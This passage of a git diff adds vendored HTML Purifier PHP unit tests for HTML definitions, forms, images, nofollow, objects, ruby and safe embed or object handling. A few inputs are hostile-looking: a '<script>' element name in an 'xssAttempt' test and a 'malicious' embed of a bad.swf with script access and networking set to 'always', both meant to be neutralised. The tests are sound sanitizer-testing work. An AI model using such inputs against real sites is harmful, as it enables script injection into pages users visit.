+ new HTMLPurifier_Token_Start('div'),
+ new HTMLPurifier_Token_Text('Text'),
+ new HTMLPurifier_Token_End('div')
+ ),
+ "<div>\n Text\n</div>\n"
+ );
+
+ }
+
+ public function test_generateFromTokens_sortAttr()
+ {
+ $this->config->set('Output.SortAttr', true);
+
+ $this->assertGeneration(
+ array( new HTMLPurifier_Token_Start('p', array('b'=>'c', 'a'=>'d')) ),
+ '<p a="d" b="c">'
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php
new file mode 100644
index 000000000..9c090da43
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php
@@ -0,0 +1,389 @@
+<?php
+
+class HTMLPurifier_HTMLDefinitionTest extends HTMLPurifier_Harness
+{
+
+ public function expectError($error = false, $message = '%s')
+ {
+ // Because we're testing a definition, it's vital that the cache
+ // is turned off for tests that expect errors.
+ $this->config->set('Cache.DefinitionImpl', null);
+ parent::expectError($error);
+ }
+
+ public function test_parseTinyMCEAllowedList()
+ {
+ $def = new HTMLPurifier_HTMLDefinition();
+
+ // note: this is case-sensitive, but its config schema
+ // counterpart is not. This is generally a good thing for users,
+ // but it's a slight internal inconsistency
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList(''),
+ array(array(), array())
+ );
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList('a,b,c'),
+ array(array('a' => true, 'b' => true, 'c' => true), array())
+ );
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList('a[x|y|z]'),
+ array(array('a' => true), array('a.x' => true, 'a.y' => true, 'a.z' => true))
+ );
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList('*[id]'),
+ array(array(), array('*.id' => true))
+ );
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList('a[*]'),
+ array(array('a' => true), array('a.*' => true))
+ );
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList('span[style],strong,a[href|title]'),
+ array(array('span' => true, 'strong' => true, 'a' => true),
+ array('span.style' => true, 'a.href' => true, 'a.title' => true))
+ );
+
+ $this->assertEqual(
+ // alternate form:
+ $def->parseTinyMCEAllowedList(
+'span[style]
+strong
+a[href|title]
+'),
+ $val = array(array('span' => true, 'strong' => true, 'a' => true),
+ array('span.style' => true, 'a.href' => true, 'a.title' => true))
+ );
+
+ $this->assertEqual(
+ $def->parseTinyMCEAllowedList(' span [ style ], strong'."\n\t".'a[href | title]'),
+ $val
+ );
+
+ }
+
+ public function test_Allowed()
+ {
+ $config1 = HTMLPurifier_Config::create(array(
+ 'HTML.AllowedElements' => array('b', 'i', 'p', 'a'),
+ 'HTML.AllowedAttributes' => array('a@href', '*@id')
+ ));
+
+ $config2 = HTMLPurifier_Config::create(array(
+ 'HTML.Allowed' => 'b,i,p,a[href],*[id]'
+ ));
+
+ $this->assertEqual($config1->getHTMLDefinition(), $config2->getHTMLDefinition());
+
+ }
+
+ public function assertPurification_AllowedElements_p()
+ {
+ $this->assertPurification('<p><b>Jelly</b></p>', '<p>Jelly</p>');
+ }
+
+ public function test_AllowedElements()
+ {
+ $this->config->set('HTML.AllowedElements', 'p');
+ $this->assertPurification_AllowedElements_p();
+ }
+
+ public function test_AllowedElements_multiple()
+ {
+ $this->config->set('HTML.AllowedElements', 'p,div');
+ $this->assertPurification('<div><p><b>Jelly</b></p></div>', '<div><p>Jelly</p></div>');
+ }
+
+ public function test_AllowedElements_invalidElement()
+ {
+ $this->config->set('HTML.AllowedElements', 'obviously_invalid,p');
+ $this->expectError(new PatternExpectation("/Element 'obviously_invalid' is not supported/"));
+ $this->assertPurification_AllowedElements_p();
+ }
+
+ public function test_AllowedElements_invalidElement_xssAttempt()
+ {
+ $this->config->set('HTML.AllowedElements', '<script>,p');
+ $this->expectError(new PatternExpectation("/Element '&lt;script&gt;' is not supported/"));
+ $this->assertPurification_AllowedElements_p();
+ }
+
+ public function test_AllowedElements_multipleInvalidElements()
+ {
+ $this->config->set('HTML.AllowedElements', 'dr-wiggles,dr-pepper,p');
+ $this->expectError(new PatternExpectation("/Element 'dr-wiggles' is not supported/"));
+ $this->expectError(new PatternExpectation("/Element 'dr-pepper' is not supported/"));
+ $this->assertPurification_AllowedElements_p();
+ }
+
+ public function assertPurification_AllowedAttributes_global_style()
+ {
+ $this->assertPurification(
+ '<p style="font-weight:bold;" class="foo">Jelly</p><br style="clear:both;" />',
+ '<p style="font-weight:bold;">Jelly</p><br style="clear:both;" />');
+ }
+
+ public function test_AllowedAttributes_global_preferredSyntax()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'style');
+ $this->assertPurification_AllowedAttributes_global_style();
+ }
+
+ public function test_AllowedAttributes_global_verboseSyntax()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', '*@style');
+ $this->assertPurification_AllowedAttributes_global_style();
+ }
+
+ public function test_AllowedAttributes_global_discouragedSyntax()
+ {
+ // Emit errors eventually
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', '*.style');
+ $this->assertPurification_AllowedAttributes_global_style();
+ }
+
+ public function assertPurification_AllowedAttributes_local_p_style()
+ {
+ $this->assertPurification(
+ '<p style="font-weight:bold;" class="foo">Jelly</p><br style="clear:both;" />',
+ '<p style="font-weight:bold;">Jelly</p><br />');
+ }
+
+ public function test_AllowedAttributes_local_preferredSyntax()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'p@style');
+ $this->assertPurification_AllowedAttributes_local_p_style();
+ }
+
+ public function test_AllowedAttributes_local_discouragedSyntax()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'p.style');
+ $this->assertPurification_AllowedAttributes_local_p_style();
+ }
+
+ public function test_AllowedAttributes_multiple()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'p@style,br@class,title');
+ $this->assertPurification(
+ '<p style="font-weight:bold;" class="foo" title="foo">Jelly</p><br style="clear:both;" class="foo" title="foo" />',
+ '<p style="font-weight:bold;" title="foo">Jelly</p><br class="foo" title="foo" />'
+ );
+ }
+
+ public function test_AllowedAttributes_local_invalidAttribute()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', array('p@style', 'p@<foo>'));
+ $this->expectError(new PatternExpectation("/Attribute '&lt;foo&gt;' in element 'p' not supported/"));
+ $this->assertPurification_AllowedAttributes_local_p_style();
+ }
+
+ public function test_AllowedAttributes_global_invalidAttribute()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', array('style', '<foo>'));
+ $this->expectError(new PatternExpectation("/Global attribute '&lt;foo&gt;' is not supported in any elements/"));
+ $this->assertPurification_AllowedAttributes_global_style();
+ }
+
+ public function test_AllowedAttributes_local_invalidAttributeDueToMissingElement()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'p.style,foo.style');
+ $this->expectError(new PatternExpectation("/Cannot allow attribute 'style' if element 'foo' is not allowed\/supported/"));
+ $this->assertPurification_AllowedAttributes_local_p_style();
+ }
+
+ public function test_AllowedAttributes_duplicate()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'p.style,p@style');
+ $this->assertPurification_AllowedAttributes_local_p_style();
+ }
+
+ public function test_AllowedAttributes_multipleErrors()
+ {
+ $this->config->set('HTML.AllowedElements', array('p', 'br'));
+ $this->config->set('HTML.AllowedAttributes', 'p.style,foo.style,<foo>');
+ $this->expectError(new PatternExpectation("/Cannot allow attribute 'style' if element 'foo' is not allowed\/supported/"));
+ $this->expectError(new PatternExpectation("/Global attribute '&lt;foo&gt;' is not supported in any elements/"));
+ $this->assertPurification_AllowedAttributes_local_p_style();
+ }
+
+ public function test_ForbiddenElements()
+ {
+ $this->config->set('HTML.ForbiddenElements', 'b');
+ $this->assertPurification('<b>b</b><i>i</i>', 'b<i>i</i>');
+ }
+
+ public function test_ForbiddenElements_invalidElement()
+ {
+ $this->config->set('HTML.ForbiddenElements', 'obviously_incorrect');
+ // no error!
+ $this->assertPurification('<i>i</i>');
+ }
+
+ public function assertPurification_ForbiddenAttributes_b_style()
+ {
+ $this->assertPurification(
+ '<b style="float:left;">b</b><i style="float:left;">i</i>',
+ '<b>b</b><i style="float:left;">i</i>');
+ }
+
+ public function test_ForbiddenAttributes()
+ {
+ $this->config->set('HTML.ForbiddenAttributes', 'b@style');
+ $this->assertPurification_ForbiddenAttributes_b_style();
+ }
+
+ public function test_ForbiddenAttributes_incorrectSyntax()
+ {
+ $this->config->set('HTML.ForbiddenAttributes', 'b.style');
+ $this->expectError("Error with b.style: tag.attr syntax not supported for HTML.ForbiddenAttributes; use tag@attr instead");
+ $this->assertPurification('<b style="float:left;">Test</b>');
+ }
+
+ public function test_ForbiddenAttributes_incorrectGlobalSyntax()
+ {
+ $this->config->set('HTML.ForbiddenAttributes', '*.style');
+ $this->expectError("Error with *.style: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead");
+ $this->assertPurification('<b style="float:left;">Test</b>');
+ }
+
+ public function assertPurification_ForbiddenAttributes_style()
+ {
+ $this->assertPurification(
+ '<b class="foo" style="float:left;">b</b><i style="float:left;">i</i>',
+ '<b class="foo">b</b><i>i</i>');
+ }
+
+ public function test_ForbiddenAttributes_global()
+ {
+ $this->config->set('HTML.ForbiddenAttributes', 'style');
+ $this->assertPurification_ForbiddenAttributes_style();
+ }
+
+ public function test_ForbiddenAttributes_globalVerboseFormat()
+ {
+ $this->config->set('HTML.ForbiddenAttributes', '*@style');
+ $this->assertPurification_ForbiddenAttributes_style();
+ }
+
+ public function test_addAttribute()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $def = $config->getHTMLDefinition(true);
+ $def->addAttribute('span', 'custom', 'Enum#attribute');
+
+ $purifier = new HTMLPurifier($config);
+ $input = '<span custom="attribute">Custom!</span>';
+ $output = $purifier->purify($input);
+ $this->assertIdentical($input, $output);
+
+ }
+
+ public function test_addAttribute_multiple()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $def = $config->getHTMLDefinition(true);
+ $def->addAttribute('span', 'custom', 'Enum#attribute');
+ $def->addAttribute('span', 'foo', 'Text');
+
+ $purifier = new HTMLPurifier($config);
+ $input = '<span custom="attribute" foo="asdf">Custom!</span>';
+ $output = $purifier->purify($input);
+ $this->assertIdentical($input, $output);
+
+ }
+
+ public function test_addElement()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $def = $config->getHTMLDefinition(true);
+ $def->addElement('marquee', 'Inline', 'Inline', 'Common', array('width' => 'Length'));
+
+ $purifier = new HTMLPurifier($config);
+ $input = '<span><marquee width="50">Foobar</marquee></span>';
+ $output = $purifier->purify($input);
+ $this->assertIdentical($input, $output);
+
+ }
+
+ public function test_injector()
+ {
+ generate_mock_once('HTMLPurifier_Injector');
+ $injector = new HTMLPurifier_InjectorMock();
+ $injector->name = 'MyInjector';
+ $injector->setReturnValue('checkNeeded', false);
+
+ $module = $this->config->getHTMLDefinition(true)->getAnonymousModule();
+ $module->info_injector[] = $injector;
+
+ $this->assertIdentical($this->config->getHTMLDefinition()->info_injector,
+ array(
+ 'MyInjector' => $injector,
+ )
+ );
+ }
+
+ public function test_injectorMissingNeeded()
+ {
+ generate_mock_once('HTMLPurifier_Injector');
+ $injector = new HTMLPurifier_InjectorMock();
+ $injector->name = 'MyInjector';
+ $injector->setReturnValue('checkNeeded', 'a');
+
+ $module = $this->config->getHTMLDefinition(true)->getAnonymousModule();
+ $module->info_injector[] = $injector;
+
+ $this->assertIdentical($this->config->getHTMLDefinition()->info_injector,
+ array()
+ );
+ }
+
+ public function test_injectorIntegration()
+ {
+ $module = $this->config->getHTMLDefinition(true)->getAnonymousModule();
+ $module->info_injector[] = 'Linkify';
+
+ $this->assertIdentical(
+ $this->config->getHTMLDefinition()->info_injector,
+ array('Linkify' => new HTMLPurifier_Injector_Linkify())
+ );
+ }
+
+ public function test_injectorIntegrationFail()
+ {
+ $this->config->set('HTML.Allowed', 'p');
+
+ $module = $this->config->getHTMLDefinition(true)->getAnonymousModule();
+ $module->info_injector[] = 'Linkify';
+
+ $this->assertIdentical(
+ $this->config->getHTMLDefinition()->info_injector,
+ array()
+ );
+ }
+
+ public function test_notAllowedRequiredAttributeError()
+ {
+ $this->expectError("Required attribute 'src' in element 'img' was not allowed, which means 'img' will not be allowed either");
+ $this->config->set('HTML.Allowed', 'img[alt]');
+ $this->config->getHTMLDefinition();
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/FormsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/FormsTest.php
new file mode 100644
index 000000000..09b0d4d1e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/FormsTest.php
@@ -0,0 +1,166 @@
+<?php
+
+class HTMLPurifier_HTMLModule_FormsTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.Trusted', true);
+ $this->config->set('Attr.EnableID', true);
+ }
+
+ public function testBasicUse()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult( // need support for label for later
+ '
+<form action="http://somesite.com/prog/adduser" method="post">
+ <p>
+ <label>First name: </label>
+ <input type="text" id="firstname" /><br />
+ <label>Last name: </label>
+ <input type="text" id="lastname" /><br />
+ <label>email: </label>
+ <input type="text" id="email" /><br />
+ <input type="radio" name="sex" value="Male" /> Male<br />
+ <input type="radio" name="sex" value="Female" /> Female<br />
+ <input type="submit" value="Send" /> <input type="reset" />
+ </p>
+</form>'
+ );
+ }
+
+ public function testSelectOption()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('
+<form action="http://somesite.com/prog/component-select" method="post">
+ <p>
+ <select multiple="multiple" size="4" name="component-select">
+ <option selected="selected" value="Component_1_a">Component_1</option>
+ <option selected="selected" value="Component_1_b">Component_2</option>
+ <option>Component_3</option>
+ <option>Component_4</option>
+ <option>Component_5</option>
+ <option>Component_6</option>
+ <option>Component_7</option>
+ </select>
+ <input type="submit" value="Send" /><input type="reset" />
+ </p>
+</form>
+ ');
+ }
+
+ public function testSelectOptgroup()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('
+<form action="http://somesite.com/prog/someprog" method="post">
+<p>
+ <select name="ComOS">
+ <option selected="selected" label="none" value="none">None</option>
+ <optgroup label="PortMaster 3">
+ <option label="3.7.1" value="pm3_3.7.1">PortMaster 3 with ComOS 3.7.1</option>
+ <option label="3.7" value="pm3_3.7">PortMaster 3 with ComOS 3.7</option>
+ <option label="3.5" value="pm3_3.5">PortMaster 3 with ComOS 3.5</option>
+ </optgroup>
+ <optgroup label="PortMaster 2">
+ <option label="3.7" value="pm2_3.7">PortMaster 2 with ComOS 3.7</option>
+ <option label="3.5" value="pm2_3.5">PortMaster 2 with ComOS 3.5</option>
+ </optgroup>
+ <optgroup label="IRX">
+ <option label="3.7R" value="IRX_3.7R">IRX with ComOS 3.7R</option>
+ <option label="3.5R" value="IRX_3.5R">IRX with ComOS 3.5R</option>
+ </optgroup>
+ </select>
+</p>
+</form>
+ ');
+ }
+
+ public function testTextarea()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('
+<form action="http://somesite.com/prog/text-read" method="post">
+ <p>
+ <textarea name="thetext" rows="20" cols="80">
+ First line of initial text.
+ Second line of initial text.
+ </textarea>
+ <input type="submit" value="Send" /><input type="reset" />
+ </p>
+</form>
+ ');
+ }
+
+ // label tests omitted
+
+ public function testFieldset()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('
+<form action="..." method="post">
+ <fieldset>
+ <legend>Personal Information</legend>
+ Last Name: <input name="personal_lastname" type="text" tabindex="1" />
+ First Name: <input name="personal_firstname" type="text" tabindex="2" />
+ Address: <input name="personal_address" type="text" tabindex="3" />
+ ...more personal information...
+ </fieldset>
+ <fieldset>
+ <legend>Medical History</legend>
+ <input name="history_illness" type="checkbox" value="Smallpox" tabindex="20" />Smallpox
+ <input name="history_illness" type="checkbox" value="Mumps" tabindex="21" /> Mumps
+ <input name="history_illness" type="checkbox" value="Dizziness" tabindex="22" /> Dizziness
+ <input name="history_illness" type="checkbox" value="Sneezing" tabindex="23" /> Sneezing
+ ...more medical history...
+ </fieldset>
+ <fieldset>
+ <legend>Current Medication</legend>
+ Are you currently taking any medication?
+ <input name="medication_now" type="radio" value="Yes" tabindex="35" />Yes
+ <input name="medication_now" type="radio" value="No" tabindex="35" />No
+
+ If you are currently taking medication, please indicate
+ it in the space below:
+ <textarea name="current_medication" rows="20" cols="50" tabindex="40"></textarea>
+ </fieldset>
+</form>
+ ');
+ }
+
+ public function testInputTransform()
+ {
+ $this->config->set('HTML.Doctype', 'XHTML 1.0 Strict');
+ $this->assertResult('<input type="checkbox" />', '<input type="checkbox" value="" />');
+ }
+
+ public function testTextareaTransform()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('<textarea></textarea>', '<textarea cols="22" rows="3"></textarea>');
+ }
+
+ public function testTextInFieldset()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('<fieldset> <legend></legend>foo</fieldset>');
+ }
+
+ public function testStrict()
+ {
+ $this->config->set('HTML.Doctype', 'HTML 4.01 Strict');
+ $this->assertResult('<form action=""></form>', '');
+ }
+
+ public function testLegacy()
+ {
+ $this->assertResult('<form action=""></form>');
+ $this->assertResult('<form action=""><input align="left" /></form>');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ImageTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ImageTest.php
new file mode 100644
index 000000000..67ffceaee
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ImageTest.php
@@ -0,0 +1,61 @@
+<?php
+
+class HTMLPurifier_HTMLModule_ImageTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+
+ public function testNormal()
+ {
+ $this->assertResult('<img height="40" width="40" src="" alt="" />');
+ }
+
+ public function testLengthTooLarge()
+ {
+ $this->assertResult(
+ '<img height="40000" width="40000" src="" alt="" />',
+ '<img height="1200" width="1200" src="" alt="" />'
+ );
+ }
+
+ public function testLengthPercentage()
+ {
+ $this->assertResult(
+ '<img height="100%" width="100%" src="" alt="" />',
+ '<img src="" alt="" />'
+ );
+ }
+
+ public function testLengthCustomMax()
+ {
+ $this->config->set('HTML.MaxImgLength', 20);
+ $this->assertResult(
+ '<img height="30" width="30" src="" alt="" />',
+ '<img height="20" width="20" src="" alt="" />'
+ );
+ }
+
+ public function testLengthCrashFixDisabled()
+ {
+ $this->config->set('HTML.MaxImgLength', null);
+ $this->assertResult(
+ '<img height="100%" width="100%" src="" alt="" />'
+ );
+ $this->assertResult(
+ '<img height="40000" width="40000" src="" alt="" />'
+ );
+ }
+
+ public function testLengthTrusted()
+ {
+ $this->config->set('HTML.Trusted', true);
+ $this->assertResult(
+ '<img height="100%" width="100%" src="" alt="" />'
+ );
+ $this->assertResult(
+ '<img height="40000" width="40000" src="" alt="" />'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NameTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NameTest.php
new file mode 100644
index 000000000..6aa2c9957
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NameTest.php
@@ -0,0 +1,36 @@
+<?php
+
+class HTMLPurifier_HTMLModule_NameTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ }
+
+ public function testBasicUse()
+ {
+ $this->config->set('Attr.EnableID', true);
+ $this->assertResult(
+ '<a name="foo">bar</a>'
+ );
+ }
+
+ public function testCDATA()
+ {
+ $this->config->set('HTML.Attr.Name.UseCDATA', true);
+ $this->assertResult(
+ '<a name="2">Baz</a><a name="2">Bar</a>'
+ );
+ }
+
+ public function testCDATAWithHeavyTidy()
+ {
+ $this->config->set('HTML.Attr.Name.UseCDATA', true);
+ $this->config->set('HTML.TidyLevel', 'heavy');
+ $this->assertResult('<a name="2">Baz</a>');
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NofollowTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NofollowTest.php
new file mode 100644
index 000000000..70974ac6b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/NofollowTest.php
@@ -0,0 +1,30 @@
+<?php
+
+class HTMLPurifier_HTMLModule_NofollowTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.Nofollow', true);
+ $this->config->set('Attr.AllowedRel', array("nofollow", "blah"));
+ }
+
+ public function testNofollow()
+ {
+ $this->assertResult(
+ '<a href="http://google.com">x</a><a href="http://google.com" rel="blah">a</a><a href="/local">b</a><a href="mailto:foo@example.com">c</a>',
+ '<a href="http://google.com" rel="nofollow">x</a><a href="http://google.com" rel="blah nofollow">a</a><a href="/local">b</a><a href="mailto:foo@example.com">c</a>'
+ );
+ }
+
+ public function testNofollowDupe()
+ {
+ $this->assertResult(
+ '<a href="http://google.com" rel="nofollow">x</a><a href="http://google.com" rel="blah nofollow">a</a><a href="/local">b</a><a href="mailto:foo@example.com">c</a>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ObjectTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ObjectTest.php
new file mode 100644
index 000000000..97ecaab34
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ObjectTest.php
@@ -0,0 +1,42 @@
+<?php
+
+class HTMLPurifier_HTMLModule_ObjectTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.Trusted', true);
+ }
+
+ public function testDefaultRemoval()
+ {
+ $this->config->set('HTML.Trusted', false);
+ $this->assertResult(
+ '<object></object>', ''
+ );
+ }
+
+ public function testMinimal()
+ {
+ $this->assertResult('<object></object>');
+ }
+
+ public function testStandardUseCase()
+ {
+ $this->assertResult(
+'<object type="video/x-ms-wmv" data="http://domain.com/video.wmv" width="320" height="256">
+<param name="src" value="http://domain.com/video.wmv" />
+<param name="autostart" value="false" />
+<param name="controller" value="true" />
+<param name="pluginurl" value="http://www.microsoft.com/Windows/MediaPlayer/" />
+<a href="http://www.microsoft.com/Windows/MediaPlayer/">Windows Media player required</a>
+</object>'
+ );
+ }
+
+ // more test-cases?
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ProprietaryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ProprietaryTest.php
new file mode 100644
index 000000000..762ec6dd2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ProprietaryTest.php
@@ -0,0 +1,32 @@
+<?php
+
+class HTMLPurifier_HTMLModule_ProprietaryTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.Proprietary', true);
+ }
+
+ public function testMarquee()
+ {
+ $this->assertResult(
+ '<span><marquee
+ width="20%"
+ height="34"
+ direction="left"
+ behavior="alternate"
+ scrolldelay="3"
+ scrollamount="5"
+ loop="4"
+ bgcolor="#FF0000"
+ hspace="5"
+ vspace="3"
+ ><div>Block</div><span>Inline</span>Text</marquee></span>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/RubyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/RubyTest.php
new file mode 100644
index 000000000..ee509a3c2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/RubyTest.php
@@ -0,0 +1,60 @@
+<?php
+
+class HTMLPurifier_HTMLModule_RubyTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.Doctype', 'XHTML 1.1');
+ }
+
+ public function testBasicUse()
+ {
+ $this->assertResult(
+ '<ruby><rb>WWW</rb><rt>World Wide Web</rt></ruby>'
+ );
+ }
+
+ public function testRPUse()
+ {
+ $this->assertResult(
+ '<ruby><rb>WWW</rb><rp>(</rp><rt>World Wide Web</rt><rp>)</rp></ruby>'
+ );
+ }
+
+ public function testComplexUse()
+ {
+ $this->assertResult(
+'<ruby>
+ <rbc>
+ <rb>10</rb>
+ <rb>31</rb>
+ <rb>2002</rb>
+ </rbc>
+ <rtc>
+ <rt>Month</rt>
+ <rt>Day</rt>
+ <rt>Year</rt>
+ </rtc>
+ <rtc>
+ <rt rbspan="3">Expiration Date</rt>
+ </rtc>
+</ruby>'
+ );
+
+ /* not implemented
+ function testBackwardsCompat()
+ {
+ $this->assertResult(
+ '<ruby>A<rp>(</rp><rt>aaa</rt><rp>)</rp></ruby>',
+ '<ruby><rb>A</rb><rp>(</rp><rt>aaa</rt><rp>)</rp></ruby>'
+ );
+ }
+ */
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeEmbedTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeEmbedTest.php
new file mode 100644
index 000000000..6ee0de859
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeEmbedTest.php
@@ -0,0 +1,46 @@
+<?php
+
+class HTMLPurifier_HTMLModule_SafeEmbedTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $def = $this->config->getHTMLDefinition(true);
+ $def->manager->addModule('SafeEmbed');
+ }
+
+ public function testMinimal()
+ {
+ $this->assertResult(
+ '<embed src="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" />',
+ '<embed src="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" allowscriptaccess="never" allownetworking="internal" type="application/x-shockwave-flash" />'
+ );
+ }
+
+ public function testYouTube()
+ {
+ $this->assertResult(
+ '<embed src="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed>',
+ '<embed src="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" type="application/x-shockwave-flash" width="425" height="344" allowscriptaccess="never" allownetworking="internal" />'
+ );
+ }
+
+ public function testMalicious()
+ {
+ $this->assertResult(
+ '<embed src="http://example.com/bad.swf" type="application/x-shockwave-flash" width="9999999" height="3499994" allowscriptaccess="always" allownetworking="always" />',
+ '<embed src="http://example.com/bad.swf" type="application/x-shockwave-flash" width="1200" height="1200" allowscriptaccess="never" allownetworking="internal" />'
+ );
+ }
+
+ public function testFull()
+ {
+ $this->assertResult(
+ '<b><embed src="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" type="application/x-shockwave-flash" width="24" height="23" allowscriptaccess="never" allownetworking="internal" wmode="window" /></b>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeObjectTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeObjectTest.php
new file mode 100644
index 000000000..f90e11d97
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeObjectTest.php
@@ -0,0 +1,55 @@
+<?php
+
+class HTMLPurifier_HTMLModule_SafeObjectTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.DefinitionID', 'HTMLPurifier_HTMLModule_SafeObjectTest');
+ $this->config->set('HTML.SafeObject', true);
+ }
+
+ public function testMinimal()
+ {
+ $this->assertResult(
+ '<object></object>',
+ '<object type="application/x-shockwave-flash"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /></object>'
+ );
+ }
+
+ public function testYouTube()
+ {
+ // embed is purposely removed
+ $this->assertResult(
+ '<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/RVtEQxH7PWA&hl=en"></param><embed src="http://www.youtube.com/v/RVtEQxH7PWA&hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object>',
